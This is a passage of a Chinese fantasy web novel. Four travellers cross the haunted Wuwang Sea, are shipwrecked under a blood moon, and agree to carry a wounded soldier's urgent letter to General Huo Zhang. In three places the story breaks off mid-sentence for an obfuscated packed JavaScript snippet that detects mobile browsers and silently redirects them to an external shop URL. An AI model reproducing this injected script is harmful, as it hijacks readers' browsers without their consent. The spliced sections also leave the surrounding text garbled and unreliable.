众人热热闹闹地拌嘴几句,开始商量怎么出去。 摆在他们面前的有两条路,一是找找有什么上山的出路,回到他们掉下来的地方再出去;不消说,这条路毫不意外地遭到了所有人的反对,且不说上面还有个小妖女——谢景原话——虎视眈眈,那高耸入云的天梯也不是闹着玩儿的。 第二条路就简单得多,这里是行人岭,三苗国的地界,自然连着无妄海,而无妄海的另一端不正是黎国吗?只要平安渡过无妄海,那么不就能顺利回到黎国了吗? 谢景提出这个方案时,其余人既没有反对,也没有马上赞同,场面一度陷入了不约而同的沉默。 萧十六沉默是很正常的,毕竟他是个开口说话全凭心情的人。周昭沉默也不算奇怪,她一向谨慎不多说废话。然而宁啻的沉默就显得很不寻常,谁都知道他是个话痨。 “话痨”难得的沉思片刻,皱眉道:“表弟啊,真要走无妄海吗?” 谢景上下打量道:“表哥,你怕什么?” “那无妄海......” “得了吧表哥!”谢景不耐烦地挥挥手,不以为意道,“我知道你又要说什么鬼王,难道我们要因为一个不知是真是假的东西在这等死吗?况且就算有鬼王,我们又没惹他,大路朝天各走一边,犯得着这么紧张吗?” 若是从前,周昭会毫不犹豫地同意谢景的看法。她和谢景虽然性格不同,但同为天皇贵胄,很多方面是相通的——譬如心气极高,从不觉得有什么事情是自己干不成的。这既可以说是身后皇权给他们这类人的底气,也可以说是从小养成难能可贵的勇气,所谓初生牛犊不怕虎,用在此处大抵合适。 可经过山洞那么一遭,周昭心底竟生出那么几分没来由的不安,她有些犹豫,但不知为什么,那阵犹豫忽然间就消失了。这种感觉很奇怪,就像是情绪莫名其妙被从身体里抽离出来,然后周昭听见自己平静地说道:“渡海吧。” 周昭有点儿说不上来的感觉,她甚至觉得这句话不像是自己说的。 谢景兴奋道:“瞧,聪明人总是做出聪明的选择。” 周昭笑了笑,很快把刚才的古怪忘掉了。 见状,宁啻也不再多说什么,不过他一路都在絮絮叨叨讲起鬼王的各种传说,说得煞有其事,就好像他真的见过。谢景完全当笑话来听,嘻嘻哈哈不知危险为何物,偶尔周昭也会被他夸张的描述逗笑,只有萧十六一言不发。 跟他们走在一起时,萧十六好像有一层看不见的硬壳,虽然外表看上去都是同龄人,但很难知道他到底在想什么。 不过,谢景显然经过抓鬼这件事后改变了对萧十六的看法,至少改变了一点点,两个人还算能够和平相处。不知道是他们选择的路线出奇得好,还是今天的运气出奇得好,这一路竟然什么意外都没有发生。 约莫半个多时辰,终于到了密林边缘,再往前走就是无妄海。 远远地,迎面而来的微风里那股腥臭味儿已经淡了很多,取而代之的是海水略咸的味道,柔和地灌满了每个人的鼻腔。 周昭感觉好多了,她深深地呼吸了一口:“我们走出来了。” 45. 风浪 所谓无妄海,据说是很多年前有位道人起的名字,意为见到此海的人需得保有一颗至诚之心,剥离所欲,才能岑静无妄。 明月高悬海上,眼前一望无际。兴许是云层过于厚重,月光不甚明朗,以至于那片海域泛着阵阵黑色,好像打翻了的墨汁般黏稠。 海滩上停泊着一些破旧船只,巧的是,他们正好找到一个还能用的,只是船桨被海水泡烂了。 谢景道:“这个好办,我去砍两根木头来,做两只船桨应该不难吧。” 事情的发展太过顺利,顺利到让周昭产生了一种错觉,等天亮起来,第一缕阳光照射在这片海域的时候,他们就能抵达黎国了。 谢景试了试船桨,还算趁手,他将其中一只扔给宁啻,挑眉道:“表哥,辛苦你了。” 谁知船桨半路被一只手接过,谢景简直惊讶地下巴都要掉在地上了,这人竟然愿意干活儿? 萧十六不以为意道道:“怎么?觉得我不会?” 那倒不是,还有您不会的吗? 谢景没将这句话说出口,将额前碎发往后撩了撩,也不客气:“行,我们三个换着来。”他让周昭先上船,又把外衣脱了垫了一个还算舒适的高度,说道:“阿昭,你好好休息一会儿,等你醒了,说不定我们都到对岸了。” 周昭笑道:“但愿如此,等会儿我来替你。” 大海风平浪静,划船并不怎么需要费力,周昭只觉得像坐在秋千上,摇摇晃晃舒服极了,几乎是脑袋刚挨到谢景为她搭的简易枕头上就睡着了。没过多久,宁啻的呼噜声也开始回荡在海面上。 谢景划了一阵儿,自言自语道:“我看这无妄海安全得很。” 他是没指望另一个人回答的,谁料对方破天荒地接过话来,语气平静道:“是吗?” 谢景来了兴致,毕竟长夜漫漫实在无聊,有个人陪自己说话自然是好的。于是他短暂地忘记了他认为眼前是个危险人物这件事儿,搭话道:“当然了,你看我们划了这么久,连大一点儿的浪头都少有,别是那鬼王成业,被本殿下吓得不敢出来了吧!” 哗! 一个浪头掀过来,小船剧烈晃了几下又归于平静,就好像海浪成了精听见他说话。 谢景:“……” 如果宁啻醒着,定会批评谢景话说得狂妄了,谢景也觉得话说过头不是件好事儿,但他就算心里这么想了,也绝不会承认,只是心中开始隐隐有几分不安,而这种情绪一旦冒了头,让人不大舒服。 于是谢景重新将目光放在除了他之外,唯一一个还醒着的人身上,这还是谢景第一次如此细致地观察这个人。说起来他们在苍界山刚见面那回,谢景其实没怎么关注过他,毕竟萧十六那时一身粗布麻衣,因为是周昭认识的人,好奇多看两眼罢了。 而此刻借着月光,谢景才发现这个人长得吧——虽然没他堂堂黎国太子好看,但是也相当不赖。 这是谢景能给出的最高评价,因为谢景相当自恋,曾经跟周昭吹嘘,普天之下没有比他好看的男子,让周昭以后找夫婿就按他的标准来。 谢景就这么悄无声息地盯着对方看了会儿,心中正拿他和自己比较,谁知被比较的对象突然侧过脸,勾唇笑道:“谢景殿下。” 换做白天来看,萧十六的笑容一点儿也不“鬼”。 但此刻月黑风高,孤舟飘零,月光本就寒凉,落在这人脸上就好像镀了一层白霜,更显得他肤色惨白,就连呼吸都是冷的。而他这么突然扭头一笑,不说惊恐,惊吓至少是有的。 谢景手一滑,险些丢了桨,不满道:“我说你好端端的,笑什么……” 萧十六照旧四平八稳地划桨,慢条斯理道:“你不相信无妄海有鬼吗?” “当然。”谢景说完,狐疑道,“这话什么意思?难道你相信?” 萧十六道:“我只是问问,你别紧张。我这里有个关于成业的故事,你要不要听?” 谢景切了一声,道:“来的路上表哥都讲一箩筐了,听得我耳朵都起茧子了。” 话虽这么说,但谢景难得见萧十六主动开口说话,深夜划船实在无聊,话锋一转,勉为其难道:“你有什么新鲜的?如果跟表哥说得一样,不好意思,没兴趣。” 萧十六道:“自然跟他讲得不一样。” 谢景假装没看到对方脸上那一闪而过的不屑,心道:“别人不知道,我还能不知道吗?表哥打小就爱看这些怪力乱神的奇闻异事,又是黎国人,知道的自然比你个苍界山的毛头小子多,我倒要看看你能讲出什么花来。” 他对鬼王兴致不高,对这萧十六倒是饶有兴趣,于是应道:“哦?那说来听听。” 萧十六卖了个关子:“你表哥说的,都是他今天吃人明天杀鬼的烂事儿。我接下来要说的……” “是什么?” 萧十六换了个姿势,说道:“东华,听说过吗?” 谢景不以为意道:“当然了,我还知道东华神君还是凡人时,是月临国的皇族,俗名于南桑。后来悟道成神,就住在瀛洲,我说的没错吧,十六兄弟。” 萧十六点头道:“无相渊自毕方封印后,人鬼两界相安无事数千年,直到一千多年前的今天,阴阳两极阵法重开,有一穷凶极恶之徒被分尸而镇压于阵法乾、坤、巽、艮、中五个方位。不过嘛……” “别卖关子了,快接着讲。” 萧十六摸了摸下巴:“也不晓得阵法出了什么岔子,总之,这个人分尸后化作了厉鬼,能吸纳天地戾气,差遣世间亡魂。” “你说的这个人,就是无相渊下面的?”谢景情不自禁压低声音,用手指了指海面。 萧十六笑了一声:“众鬼本无首,如此一来,天地间好不热闹。无相渊难以为继,鬼怪妖魔就要一涌而出,多亏英明神武的月临太子殿下,出山斩妖魔,再度封印无相渊。” 谢景皱了皱眉,他总觉得萧十六这句“英明神武”语气说得怪,没有半点尊崇之意,反倒有几分嘲讽。 “成神者,无不是成大事者。于南桑之所以得道,就是因为他将那厉鬼镇压在无妄海底,功德无量啊,功德无量。” 萧十六松开桨,谢景这回确定了,这个人的确看不起东华。 “照你这么说,那鬼王都被镇压了上千年,也不足为惧。” 萧十六似乎模糊不清地嗯了声,慢悠悠道:“无妄海下九道渊,幽囚门吉三千年。血月乍现阴阳裂,未许人间活人现。” 谢景只当他是在念民间小调,将萧十六上下打量几眼,问出了自己早就想问的问题—— “十六兄弟,”谢景也跟着他笑了笑,“……你是人是鬼?” ...... 谢景缓缓睁开眼睛,连日的劳累让他在如此逼仄的空间里也能睡了一个好觉,虽然肩膀有些酸痛,但总得来说,他醒来时十分神清气爽。 周昭跟宁啻坐在船头,正小声说着什么:“……宁兄,实在抱歉,那时事态紧急......” 宁啻哈哈笑道:“早就听说当今周朝天子有位金枝玉叶的公主。不过公主殿下,千万不能再这么叫我了。”他听见响动回过头:“哟,少爷醒了。” 谢景回了个鬼脸,妄图把骗了自家表兄这件事糊弄过去。略一偏头,才注意到萧十六背对自己——这个人即便是睡着,也是半侧过身,双手放在胸前,呈现出防御的姿势。 这位怪人也需要睡觉?谢景忍不住挑了挑眉,周昭轻手轻脚来到他身边。 谢景压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720038|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音道:“阿昭,我睡了多久?” 周昭略一摇头:“我也刚醒。” 谢景伸了个懒腰,望着茫茫大海,突然想到一件可怕的事情:他们都刚醒,岂不是昨夜有段时间没人划桨?不谈昨夜,现在那两只新做的桨也是好端端放置在一旁,也就是说,他们现在正漫无目的地在海面上漂流? 周昭顺着他的目光看向木桨,说道:“我也觉得奇怪,不过宁兄说,方向是没错的。而且这支船就算不需要划桨,也在向着同一个方向漂流。你看。”她指了指水面。 “风平浪静。”谢景沉声道,“但是,太平静了。” “是的,与其说是海,不如说……” “更像一片湖。” 谢景话音落,他们突然觉得眼前这片海简直安静得可怕,无风无浪,水面宛若一方明镜,月光下倒映出两张不安的面孔。 周昭试图回忆起几个时辰前,刚登上这船的场景,那时他们急于摆脱疟鬼,行船便发,虽然细节记不明朗,但周昭可以肯定,那时她听到了浪花拍岸的声音。 周昭试探性地问道:“长淮,你觉得我们还在无妄海吗?” 谢景脸色不大好,弯着腰小心走过去,拍拍宁啻的肩膀:“表哥,你确定我们方向是对的吗?” 宁啻正盯着那幅地图翻来覆去地看,见他来了,让出旁边的位置,道:“是对的啊,你看那天上......” 宁啻忽然闭嘴了,谢景跟着他抬头望去,圆月高悬,血红一片。 谢景有些不确定道:“这是……血月?” 周昭道:“长淮,你们看那儿。” 分明是茫茫大海,一条泾渭分明的小路却十分突兀地出现在前方,那条路十分狭长,好像一条死鱼被冷不丁地扔在海面上,露出银白肚皮。 海面漆黑,独留一道白。 此刻小船缓缓靠岸,船身摩擦地面,发出咔嚓咔嚓的声音,让人不禁毛骨悚然。 最先说话的是天不怕地不怕的谢景,长腿一迈,道:“下去看看。” “长淮,等等。”周昭拉住他,“你听……” 雾气浓重,路的尽头看不真切。 哐!哐! 好像有什么东西在浓雾中拖行,伴随着这刺耳诡异的脚步声,一个人影在远处若隐若现。 宁啻吞了吞口水,不由自主地攥紧谢景的胳膊,小声道:“长……长淮。” 谢景知道他想说什么,抢先一步捂住宁啻的嘴巴,沉声道:“表哥你别瞎说!” 那人明明走得很慢,再一抬头,竟然离他们不过十余步,面容蕴着一团浓重的雾气,始终看不清楚。 谢景忽然想到什么,猛地回头,道:“不见了!” 船尾本该躺着萧十六的地方,此刻空无一人。 “什么不……”周昭回头望去,方才还风平浪静的海面突然间狂风大作,呼啸不止。 船板剧烈地晃动几下,周昭一把扶住险些跌了一跤的宁啻,接着道:“十六人呢!” 谢景脸色铁青,沉默不语。 宁啻慌张道:“这船快翻了!” “船桨给我!” “浪这么大!我们还是先下船再说吧!” 宁啻说是这么说,但眼看那道鬼影越走越近,怎么也不敢迈出第一步。谢景攥住他衣袖,向后一推,喝道:“不能下船!” 宁啻踉跄道:“表弟!” 周昭正欲开口,一个浪头打过来,那张浓雾中的脸陡然间露出真容,近在咫尺。 周昭惊出一身汗,连连向后跌去,背心一只手稳稳地托住她。谢景周昭二人还未来得及对视,又是一个两人高的惊天巨浪掀翻过来,腥咸的海水倒灌进口鼻,眼前一黑,再无意识了。 46. 生疑 一缕阳光轻柔地落在眼皮上,周昭手指动了动,酸痛感瞬间传遍了四肢百骸。又过了好阵子,她睁开眼睛,久违的太阳光让她有些不适。 这是哪儿? 昏迷之前的画面像走马灯在她脑海里一闪而过,周昭右眼狠狠跳了几下,她翻身起来,嘶!一股刺痛倏地从掌心传来,周昭摊开手掌,赫然是那道被海水泡胀了的伤口,从中间往外翻开,显得有些狰狞。 海浪阵阵,却早没了昨夜的危险气息。周昭一眼看到仰面躺在沙滩上的谢景,叫道:“长淮!” 一出口,声音沙哑得连她自己听了也有几分吃惊。周昭踉踉跄跄地跑过去,颤抖着伸出手,慢慢探向鼻息…… 还活着。 周昭憋在胸口的气猛地吐出来,复唤道:“长淮?长淮,醒醒!” 咳咳! 谢景连连咳出几口海水,边睁开眼睛边嘟囔道:“表哥,你压我腿了!” 他用手挡了挡太阳,看清了抱着他的人是谁,叫道:“阿昭?” 昨夜的记忆猛地刺入脑海,谢景头痛欲裂,立马从地上弹起来,抓住周昭的胳膊慌里慌张道:“阿昭,你没、嘶!” 谢景呲牙咧嘴,低头一看,腰侧划了道一寸有余的口子,这么一动又渗出血来,两侧翻开的皮肉被海水泡得发白,实在不是个好迹象。 “别动!” 周昭利落地从裙摆扯了几根布条,动手包扎起来。谢景声音有些发闷,道:“无妨,昨夜船翻了,我不小心被礁石撞了一下。” 周昭努力想回忆起昨夜发生的事儿,但她最多只能想起来风浪太大掉进大海,至于浓雾里看见的那个人到底去哪儿了,她是一点儿印象也没有了。 周昭忙问道:“昨夜你看见十六了吗?” 谢景像是被踩了尾巴的猫,从鼻子里哼出一口气,一拳砸在海水里,道:“别提他了!” 周昭满心疑虑,岸边风大,她扶着谢景走远了些,道:“你先休息,我去找找宁兄和十六,回来再说。” 谢景虽然有一肚子话,却分得清轻重缓急,于是道:“好,小心些。” “知道了。” “阿昭。” 周昭狐疑道:“怎么了?” 周昭那件衣裙被她今天扯条布,明天撕片纱,又在海水里泡了几个时辰,如今破破烂烂地挂在身上,露出小半截白皙的小腿。 谢景的脸突然涨成猪肝色,缓慢地偏过头,将自己衣服解下来,随手一抛。 周昭被这么劈头盖脸一扔,手忙脚乱道:“别玩儿了长淮。” 谢景恨铁不成钢,暗骂周昭这个木头!从小就笨!日后也不知道要被哪个男子骗去! 周昭浑然不知谢景此刻像个老父亲操碎了心,好容易才从那团湿衣服里面露出头,只听谢景瓮声瓮气道:“衣服穿好。” “哦。”周昭眨眨眼睛,“谢了。” 周昭没走很远就在一块岩石后找到了宁啻,他从小长在海边水性极好,周昭找到他时,宁啻怀里还抱着那根船桨,人倒是没什么大碍,除了脑袋和手臂擦破了点儿皮。 等周昭带着宁啻回来时,看见谢景正把装着疟鬼的缚灵锁拿出来,他抬头冲宁啻打了个招呼,转向周昭道:“阿昭,疟鬼还在。” 周昭悬着的一颗心放下一半儿,另一半儿还悬在萧十六身上,因此声音也不大有精神,应道:“啊,那就好。” 谢景歪了歪头,心情不大好地将缚灵锁狠狠摇了几下,又放在耳边听了听,道:“奇怪,这东西自从抓来就一点儿声音都没有,该不会死了吧?” 三人你看我,我看你,最终还是决定不要冒险打开。 宁啻瞥见谢景的伤,本来要插科打诨的那些个话又硬憋回去,难得收起玩笑面孔,问道:“表弟,你还好吧?” “不碍事。” 谢景哪怕疼死,都不会在他这便宜表哥面前吭一声,将对方上下打量一番,见他也挂了彩,不怀好意地笑道:“嘿,表哥,后悔出来了吧。” 宁啻没理他,脱了外衣晾在岩石上。 周昭心乱如麻,方才她和宁啻二人找了一圈,都没发现十六,又想起谢景的话,不由问道:“长淮,你是不是知道些什么?我找不到十六。” 海岸一览无余,几乎没有能藏人的地方。 除非......周昭不敢再细想下去。 “他嘛,”谢景慢吞吞地将缚灵锁收好,抬起头道,“别找了。” 周昭蹙了蹙眉心,道:“长淮,你在说什么?” “阿昭,你还不明白吗?这个人,有问题。” 谢景将昨夜萧十六讲的故事复述了一遍,道:“那首小调,什么血月乍现,什么阴阳裂,我那时候还不明白。如今细想,昨夜不正是血月吗?那条茫茫大海里凭空出现的小路,还有莫名其妙出现的.....“ 谢景的声音低下去,有些别扭道:“出现的那个东西,你们不觉得很奇怪吗?” “阿昭,你那位朋友如此厉害的人物,昨夜船行到半路,我们都醒了,就只有他一个人还在睡觉,我不信他一点儿声音也没听见。还有我们三个,你们没觉得在船上那一觉睡得过于沉了吗?后来风浪大作,他人却突然不见了,世间有这么巧的事情吗?如果昨夜出现的那东西,真是无妄海下压着的大鬼,萧十六一定跟他脱不了干系!” “......长淮,你冷静些。” 谢景将压在心里的话一口气说完,顿时觉得舒服了些。听见周昭这么说,忍不住道:“阿昭,你为何偏要相信这么一个来路不明的人?” 周昭道:“因为他从没有伤害过我们任何一个人,因为他救了我们的命,因为他帮我们抓到了疟鬼。” 谢景哑口无言,他不得不承认周昭说的是对的。但要他相信萧十六是清白的,这绝对不可能。 谢景扶额道:“阿昭,并非我针对他,你也看到了,他不是现在消失的,他是在船上就消失的。‘血月乍现阴阳裂,未许人间活人现’,说难听些,他知道昨夜会发生什么,却故意引我们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724397|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那片海域。虽然我不清楚他有什么目的,但有件事儿很明显,从他在食人坡突然出现,他就在利用我们。” ——只不过我们命大,没死成。 这后半句话谢景没说,虽然他是真的差点儿葬身大海,但他不想因为这个影响周昭的判断。 周昭安静听他说完,轻轻摇了摇头:“一起来的,理应一起走。长淮,退一步讲,如果他今日死在这儿,你我会后悔一辈子。” 谢景默不作声。 宁啻听了七七八八,他其实也觉得事有蹊跷,不过他对这位“远道而来的朋友”本就没什么敌意,忙道:“好了表弟,再找找就再找找呗,万一十六兄弟就在这附近,我和公主殿下一起去找,你休息会儿。” 周昭略一扶额,苦笑道:“宁兄……可千万别再这么称呼我了。” 谢景无所谓道:“算了,你们要找,就再去找吧。不过我敢打赌,他一定早就走了。” 话音刚落,一道利箭破空而来,紧随其后的是一个高亢嘹亮的嗓音—— “什么人!胆敢闯我境内!” 那羽箭满弦而发,“蹭”地一声贴着宁啻脸颊飞过。 紧跟着第二箭又挟风呼啸而来—— 若说第一箭是刻意射偏示警,这一箭对准的恰是宁啻的脑袋。周昭警铃大作,翻身拔剑,将宁啻往身后一推,剑刃抵住羽箭,借势转了个圈儿,“铛”!那箭竟直直地射进岩石去了。 谢景怒道:“何人射箭!” 他这一动又牵引伤口,登时变了脸色。远看前方不过一人一骑,不知是见连发两箭不中,还是被谢景那一声吓破了胆,仓皇之下,勒紧缰绳要逃。 周昭哪肯让他跑掉,那人见周昭飞身而至,慌了手脚,马儿扬起前蹄一声嘶鸣,“哎哟”!他滚了几滚,摔在周昭面前。 周昭一看,却是个细皮白肉的小少年。 他身着盔甲,除了眼睛周围还算干净,脸上身上处处是血污,看起好生狼狈。 少年扶着腿,哎呦唤个不停,脸上豆大的汗珠直往下掉。 “你……要紧吗?”周昭凑近几步,见他疼得厉害,回头唤道:“怎么办,他摔断了腿。” “摔得好!遭报应了吧!” 说话的自然是谢景,他大喇喇地靠在岩石上养伤,眼神戒备得像一头狼。 少年听到他们讲话,见他们两男一女人多势众,只横脖怒目,道:“落在你们手里算是完啦!哼!要杀就杀!” 宁啻哭笑不得,他在行人岭已经被吓得多了,刚才那一箭的惊惧便算不得什么,他走过来,好言问道:“这位小兄弟,难道不是你要杀我们吗?” 少年站不起来,只抱着那条断腿,恨恨道:“孟舒狗贼!见一个杀一个!” 孟舒? 三人面面相觑,周昭端详片刻,忽然叫道:“等等,你们看,这是周朝士兵装束。” 虽然没进过军营,兵总归认得出,谢景诧异道:“你是周朝人?” 少年偏过脸不答话。 47. 送信 谢景平白吃瘪,险要发怒,宁啻拉住他道:“小兄弟,你刚才说,孟舒?” 孟舒靠近黎国,跟周朝虽没有周黎俩国亲密,却也是上百年来平安无事。这不知道从哪儿冒出来的小兵,对孟舒有如此大的敌意,实在令人费解。 兴许是宁啻这人本来就比谢景面相柔和些,又这么轻声细语地询问,少年终于转过脸来,先是瞪了他们一眼,才道:“装什么,你们穿的难道不是孟舒人的服饰吗?” 黎国、孟舒虽然各有不同,但一眼望去都是窄袖束腰之类,为的是做事便宜。对不熟悉的人来说,确实容易混淆。 周昭收了剑,道:“你别怕,我们不是孟舒人。”她蹲下身子,想看看这少年的伤势,却被对方一把推开。 紧跟着,少年便埋头痛哭起来—— “你们杀了我吧!援兵不到,反正我也是死路一条!我死了不要紧,将军要是死了……呸呸!将军不会死!” 少年越哭越伤心,言语之间,说来说去就是“将军”、“援兵”、“孟舒”这几个词。 周昭突然有种不好的预感。 谢景听得心烦,叫道:“哭什么!没听见她说我们不是孟舒人吗?!” 他这一声吼,哭声戛然而止,少年带着哭腔问道:“你们......不......不是贼人?” 谢景十分不耐,一指周昭,言简意赅:“你见过贼人长她这个样子吗?” 少年闻言,抬起两只泪眼小心盯着周昭,自言自语道:“确实不像……” 周昭没心思再听,面露焦灼,一连串地问道:“出什么事儿了?哪里在打仗吗?你是谁麾下的?援兵又是怎么回事儿?” 宁啻上前在她肩上轻轻拍了拍,动作十分轻缓,冲她微微点头:“别急,我看看。” 宁啻在少年面前蹲下,左手轻轻在他小腿处按了按,对方登时疼得啊啊大叫,宁啻边查看伤势边道:“骨折了,不过正巧我会接骨,你要试试吗?” 虽然是问句,但宁啻根本没给对方回答的时间。 咔嚓! “啊?啊啊啊!疼疼疼!!疼死我了!!!” 少年痛得大呼小叫,冷汗涔涔,然后慢慢安静下来,宁啻手速飞快,撕了袍子固定好他的伤腿,少年看着自己被五花大绑的腿,再看看他们一行人,缓缓露出难以置信的表情。 “好了。”宁啻拍拍手,平视着少年的眼睛道,“不过接完骨最好是用木板固定住,可惜,这里什么也没有,只能用布条跟棍子凑合凑合。断骨不要紧,要紧的是你身上其他伤口,感染了就不妙了。” ——同样难以置信的还有周昭和谢景。 谢景合上大张的嘴巴:“表哥,你这么厉害?” 宁啻转过身,茫然道:“厉害吗?” 谢景和周昭连连点头,伸出大拇指:“厉害。” “还好吧,我又不喜欢这个。”宁啻无视谢景的表情,看向周昭时已经换了副嘴脸,嘻嘻笑道:“阿昭,我可以这么叫你吗?你还是第一次夸我。” “宁兄随意。”周昭笑了笑,谢景则对亲表哥这种狗摇尾巴的行为十分鄙夷,翻了个白眼:“喂!那谁,现在能说了吗?” “你们怎么不先说……” 少年心中犯嘀咕,犹豫再三,咬咬牙,抹了把脸上的泪,说道:“我是辽城来的,五日前,城中突然来了帮杀人放火的流寇,那时候还以为是寻常强盗。辽城防御使杨大人带一队人马出城追盗匪,谁知那些贼人调虎离山,里应外合,半夜偷袭,杨大人派我去找霍将军报信,我在半路遇见了你们,还以为是……” 他偷偷打量了谢景一眼,谢景道:“以为是贼寇,就问也不问,想将我们射死。” 少年也不否认,扬着头一脸倔强道:“谁叫你们鬼鬼祟祟,这里偏的连个鸟都没有……” “等等,你说辽城?咱们怎么跑到辽城这千里之外来了!”谢景险些就要跳起来,周昭心里想的则是另一件事:果然出事了。 辽城是二哥管辖的地界,二哥刚亡故,孟舒偏在这个节骨眼儿上前来挑衅...... 周昭隐隐觉得,这种种事情都跟鞑子脱不了干系,眼皮好巧不巧在这时狠狠一跳,让她心慌得厉害,接着问道:“只有你一个人出来?” “……”少年面露凄然,哽咽道:“不,其他人……都死了。” “你说要去找霍将军,哪个霍将军?去哪儿找?” “找霍璋将军,他就在城外三百里的雪松山!” 雪松山并非一座山,而是横亘在北疆的一片山脉,靠近黎国最北端,常年积雪难消。 跨过雪松山就是鞑子八大部落,对于霍璋,周昭有所耳闻。听说当年鞑子突然入侵北疆,霍老将军镇北侯战死,连尸骨都没留下。 镇北侯独子霍璋大挑大梁,用了三年时间将鞑子赶回雪松山外,封侯挂帅时年仅十九。 但雪松山地方太大,一旦踏进去,别说五日,哪怕是十日难出来。 那少年浑然不知,找霍将军这件事儿比他想象的更加困难,他两把擦干眼泪,目光坚定:“所以我一定要把信送到!你们既然不是孟舒人,就放我走吧!再耽搁下去,我怕、怕……” 周昭欲言又止,谢景看出端倪,问道:“阿昭,你不放心他一个人?” “……让我想想。”周昭道,“宁兄,你对地形更熟悉些,你怎么看?” 宁啻道:“雪松山地势复杂,极容易迷路。我们虽说有行云令,也用处不大。” 宁啻虽然行事放荡不羁,心思却十分细腻。谢景因为和周昭一起长大,很多事情二人心有灵犀,但真要相较而言,宁啻察人观色更胜一筹,三两句便猜出,周昭是想用行云令将这少年送到雪松山。 谢景道:“那怎么办?行云令派不上用场,总不能本殿......本少爷亲自送他过去吧?” “不行,眼下还有件要紧事。”周昭说的是疟鬼,谢景自然明白。期限将至,如果不能消除瘟疫,围猎场的人都会死。 “这也不行,那也不行。”谢景很烦躁地抓了抓头发。 少年听他们说来说去,明白大概,朗声道:“诸位,不劳费心啦!这本就是我大周之事,我就算爬也会爬到雪松山!” 周昭转过身,道:“我有一个法子。” 谢宁二人异口同声道:“什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733719|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 周昭道:“长淮,你带着东西回山找师父,我跟他去雪松山。至于宁兄.....”她微笑道:“宁兄自便。” “不行!”谢景道,“我一个人走算怎么回事儿?” 周昭将他拉到一边,压低声音道:“只有这个法子。第一,我们必须有人马上赶回去,把疟鬼交到师父手里;第二,长淮,你的身份绝不能出现在边境军营;第三,你跟那少年的伤耽误不得,晚了要出人命,必须马上回去医治。” “可是——”谢景正要反驳,宁啻附和道:“表弟,别可是啦,阿昭说得对,多一天就多一分危险。至于雪松山嘛......”他看向周昭,嘻嘻笑道:“我陪你去。” 宁啻熟悉地形,有他陪同再好不过。周昭又好生劝了谢景一番,对方勉强同意,简单收拾完行装,将他二人打量道:“你俩现在倒是好得穿一条裤子了。” 他说话颇有几分阴阳怪气,周昭哭笑不得:“放心吧长淮,我很快赶回来,你早些上路。” 那小士兵正一瘸一拐地想走,身后血流了一串,谢景像抓小鸡一样把他抓回来,道:“你,跟我走。” “你放开!”少年挣扎几下,咬牙切齿道,“放开我!走哪啊?我要去送信!” 谢景根本不理他:“他这幅样子也走不了,跟着你们也是累赘,干脆由我带他回山上疗伤,不然我看他这腿……多半要废掉。” “你才是累赘!” 谢景在他怀里左翻右找,摸出一封信:“就是这封信吧,阿昭,接着!一路保重。” 少年终于咂摸出其中转机,也不再挣扎了,眼圈儿一红,吧嗒吧嗒掉下眼泪。 “你们……真的要帮我送信吗?” 周昭柔声宽慰道:“放心,我们一定送到。” 少年似乎有些发热,脸色有些不正常的潮红,眨着眼睛道:“可惜我不能看见霍璋将军啦,如果见了霍将军,帮我问声好,可以吗?” 周昭点点头:“你叫什么名字?见到霍将军,我一定带话给他。” “裴砚,我叫裴砚,纸笔的那个砚。” 少年说话声越来越小,最后听不见了。谢景这便要走,冲宁啻抬了抬下巴:“表哥,照顾好阿昭。” 宁啻双手抱胸,散漫道:“表弟,照顾好自己。” 谢景走了。 周昭好像看见他用一如既往的大踏步,走向苍界山行宫,再是师父那张似乎已经很久不见的脸,最后是校场大开,老少相携,百家笑容涌入街头小巷。 周昭忽然觉得,没有什么比这更美好的画面了,无论是雪松山的皑皑白雪,还是突然发难的孟舒,这些摆在她面前的一个个难题,似乎都不再沉重地压在心头。 十六,只有你了。 等着我来寻你。 周昭深深地呼出一口气,转身道:“宁兄,我们走吧。” “阿昭。”宁啻唤她,“你可曾听说过,霍璋将军有一柄举世无双的宝剑。” “没听过,是什么?” 宁啻来了兴致:“霍将军的剑在北疆很有名气,那是一柄通体乌黑的玄铁剑,剑上刻着他的字号,名为:行野……” 48. 复仇 那是一柄通体乌黑的玄铁剑。 剑身宽阔厚重,刀刃并不十分锋利,却闪着迫人的寒光。剑柄同样乌黑,似铁非铁,似木非木,上刻饕餮纹,下刻两个小字——行野。 这样一柄玄铁重剑,却被握在一只骨节分明的女子手里。那只手苍白如纸,虎口处覆着一层茧,让人毫不怀疑这手能挥舞重剑,轻而易举取下项上人头。 瑶姬笑道:“大人,看来这位是您的故人。” 主君的故人? 